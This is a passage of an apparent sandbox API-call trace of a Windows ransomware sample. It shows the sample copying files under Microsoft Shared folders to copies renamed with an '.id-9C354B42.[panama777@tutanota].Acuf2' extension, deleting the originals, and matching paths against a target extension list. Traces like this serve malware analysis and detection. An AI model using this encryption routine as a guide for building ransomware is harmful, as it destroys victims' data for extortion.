	[0053.193] GetLastError () returned 0x0
	[0053.193] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0xbb5a, lpOverlapped=0x0) returned 1
	[0053.196] WriteFile (in: hFile=0x178, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xbb60, lpOverlapped=0x0) returned 1
	[0053.198] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.198] WriteFile (in: hFile=0x178, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0053.198] SetEndOfFile (hFile=0x178) returned 1
	[0053.198] CloseHandle (hObject=0x178) returned 1
	[0053.198] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.199] SetEndOfFile (hFile=0x1e8) returned 1
	[0053.200] CloseHandle (hObject=0x1e8) returned 1
	[0053.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.200] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 1
	[0053.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76
	[0053.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76
	[0053.200] lstrlenW (lpString=".doc") returned 4
	[0053.200] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0053.200] lstrlenW (lpString=".docx") returned 5
	[0053.200] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0053.200] lstrlenW (lpString=".pdf") returned 4
	[0053.200] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0053.200] lstrlenW (lpString=".xls") returned 4
	[0053.200] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0053.201] lstrlenW (lpString=".xlsx") returned 5
	[0053.201] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0053.201] lstrlenW (lpString=".ppt") returned 4
	[0053.201] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0053.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76
	[0053.201] lstrlenW (lpString=".zip") returned 4
	[0053.201] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0053.201] lstrlenW (lpString=".rar") returned 4
	[0053.201] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0053.201] lstrlenW (lpString=".bz2") returned 4
	[0053.201] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0053.201] lstrlenW (lpString=".7z") returned 3
	[0053.201] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0053.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76
	[0053.201] lstrlenW (lpString=".dbf") returned 4
	[0053.201] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0053.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76
	[0053.201] lstrlenW (lpString=".1cd") returned 4
	[0053.201] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0053.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76
	[0053.201] lstrlenW (lpString=".jpg") returned 4
	[0053.201] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0053.202] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.202] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0053.206] GetLastError () returned 0x0
	[0053.206] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x137f, lpOverlapped=0x0) returned 1
	[0053.209] WriteFile (in: hFile=0x178, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x1380, lpOverlapped=0x0) returned 1
	[0053.210] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.211] WriteFile (in: hFile=0x178, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0053.211] SetEndOfFile (hFile=0x178) returned 1
	[0053.211] CloseHandle (hObject=0x178) returned 1
	[0053.211] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.211] SetEndOfFile (hFile=0x1e8) returned 1
	[0053.212] CloseHandle (hObject=0x1e8) returned 1
	[0053.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.212] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 1
	[0053.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76
	[0053.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76
	[0053.213] lstrlenW (lpString=".doc") returned 4
	[0053.213] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0053.213] lstrlenW (lpString=".docx") returned 5
	[0053.213] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0053.213] lstrlenW (lpString=".pdf") returned 4
	[0053.213] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0053.213] lstrlenW (lpString=".xls") returned 4
	[0053.213] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0053.213] lstrlenW (lpString=".xlsx") returned 5
	[0053.213] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0053.213] lstrlenW (lpString=".ppt") returned 4
	[0053.213] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0053.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76
	[0053.213] lstrlenW (lpString=".zip") returned 4
	[0053.213] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0053.213] lstrlenW (lpString=".rar") returned 4
	[0053.213] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0053.213] lstrlenW (lpString=".bz2") returned 4
	[0053.213] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0053.213] lstrlenW (lpString=".7z") returned 3
	[0053.213] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0053.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76
	[0053.213] lstrlenW (lpString=".dbf") returned 4
	[0053.213] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0053.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76
	[0053.213] lstrlenW (lpString=".1cd") returned 4
	[0053.214] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0053.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76
	[0053.214] lstrlenW (lpString=".jpg") returned 4
	[0053.214] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0053.214] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.214] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0053.215] GetLastError () returned 0x0
	[0053.215] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0xad0e, lpOverlapped=0x0) returned 1
	[0053.218] WriteFile (in: hFile=0x178, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xad10, lpOverlapped=0x0) returned 1
	[0053.220] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.220] WriteFile (in: hFile=0x178, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0053.220] SetEndOfFile (hFile=0x178) returned 1
	[0053.220] CloseHandle (hObject=0x178) returned 1
	[0053.220] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.220] SetEndOfFile (hFile=0x1e8) returned 1
	[0053.221] CloseHandle (hObject=0x1e8) returned 1
	[0053.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.221] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 1
	[0053.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77
	[0053.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77
	[0053.222] lstrlenW (lpString=".doc") returned 4
	[0053.222] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0053.222] lstrlenW (lpString=".docx") returned 5
	[0053.222] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0053.222] lstrlenW (lpString=".pdf") returned 4
	[0053.222] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0053.222] lstrlenW (lpString=".xls") returned 4
	[0053.222] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0053.222] lstrlenW (lpString=".xlsx") returned 5
	[0053.222] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0053.222] lstrlenW (lpString=".ppt") returned 4
	[0053.222] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0053.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77
	[0053.222] lstrlenW (lpString=".zip") returned 4
	[0053.222] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0053.222] lstrlenW (lpString=".rar") returned 4
	[0053.222] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0053.222] lstrlenW (lpString=".bz2") returned 4
	[0053.222] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0053.222] lstrlenW (lpString=".7z") returned 3
	[0053.222] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0053.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77
	[0053.223] lstrlenW (lpString=".dbf") returned 4
	[0053.223] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0053.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77
	[0053.223] lstrlenW (lpString=".1cd") returned 4
	[0053.223] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0053.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77
	[0053.223] lstrlenW (lpString=".jpg") returned 4
	[0053.223] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0053.223] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.223] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0053.226] GetLastError () returned 0x0
	[0053.226] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0xa6c, lpOverlapped=0x0) returned 1
	[0053.228] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xa70, lpOverlapped=0x0) returned 1
	[0053.229] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.229] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0053.230] SetEndOfFile (hFile=0x1a4) returned 1
	[0053.230] CloseHandle (hObject=0x1a4) returned 1
	[0053.230] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.230] SetEndOfFile (hFile=0x1e8) returned 1
	[0053.231] CloseHandle (hObject=0x1e8) returned 1
	[0053.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.231] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 1
	[0053.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73
	[0053.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73
	[0053.231] lstrlenW (lpString=".doc") returned 4
	[0053.232] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0053.232] lstrlenW (lpString=".docx") returned 5
	[0053.232] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0053.232] lstrlenW (lpString=".pdf") returned 4
	[0053.232] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0053.232] lstrlenW (lpString=".xls") returned 4
	[0053.232] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0053.232] lstrlenW (lpString=".xlsx") returned 5
	[0053.232] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0053.232] lstrlenW (lpString=".ppt") returned 4
	[0053.232] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0053.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73
	[0053.232] lstrlenW (lpString=".zip") returned 4
	[0053.232] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0053.232] lstrlenW (lpString=".rar") returned 4
	[0053.232] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0053.232] lstrlenW (lpString=".bz2") returned 4
	[0053.232] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0053.232] lstrlenW (lpString=".7z") returned 3
	[0053.232] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0053.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73
	[0053.232] lstrlenW (lpString=".dbf") returned 4
	[0053.232] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0053.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73
	[0053.232] lstrlenW (lpString=".1cd") returned 4
	[0053.232] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0053.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73
	[0053.232] lstrlenW (lpString=".jpg") returned 4
	[0053.232] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0053.233] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.233] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.233] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0053.233] GetLastError () returned 0x0
	[0053.233] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0xa5d5, lpOverlapped=0x0) returned 1
	[0053.382] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xa5e0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xa5e0, lpOverlapped=0x0) returned 1
	[0053.384] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.384] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0053.384] SetEndOfFile (hFile=0x1a4) returned 1
	[0053.384] CloseHandle (hObject=0x1a4) returned 1
	[0053.384] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.384] SetEndOfFile (hFile=0x1e8) returned 1
	[0053.385] CloseHandle (hObject=0x1e8) returned 1
	[0053.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.385] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 1
	[0053.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74
	[0053.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74
	[0053.386] lstrlenW (lpString=".doc") returned 4
	[0053.386] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0053.386] lstrlenW (lpString=".docx") returned 5
	[0053.386] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0053.386] lstrlenW (lpString=".pdf") returned 4
	[0053.386] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0053.386] lstrlenW (lpString=".xls") returned 4
	[0053.386] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0053.386] lstrlenW (lpString=".xlsx") returned 5
	[0053.386] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0053.386] lstrlenW (lpString=".ppt") returned 4
	[0053.386] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0053.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74
	[0053.386] lstrlenW (lpString=".zip") returned 4
	[0053.386] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0053.386] lstrlenW (lpString=".rar") returned 4
	[0053.386] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0053.386] lstrlenW (lpString=".bz2") returned 4
	[0053.386] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0053.386] lstrlenW (lpString=".7z") returned 3
	[0053.386] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0053.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74
	[0053.386] lstrlenW (lpString=".dbf") returned 4
	[0053.386] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0053.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74
	[0053.387] lstrlenW (lpString=".1cd") returned 4
	[0053.387] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0053.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74
	[0053.387] lstrlenW (lpString=".jpg") returned 4
	[0053.387] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0053.387] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.387] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0053.387] GetLastError () returned 0x0
	[0053.387] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0xe2aa, lpOverlapped=0x0) returned 1
	[0053.391] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe2b0, lpOverlapped=0x0) returned 1
	[0053.392] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
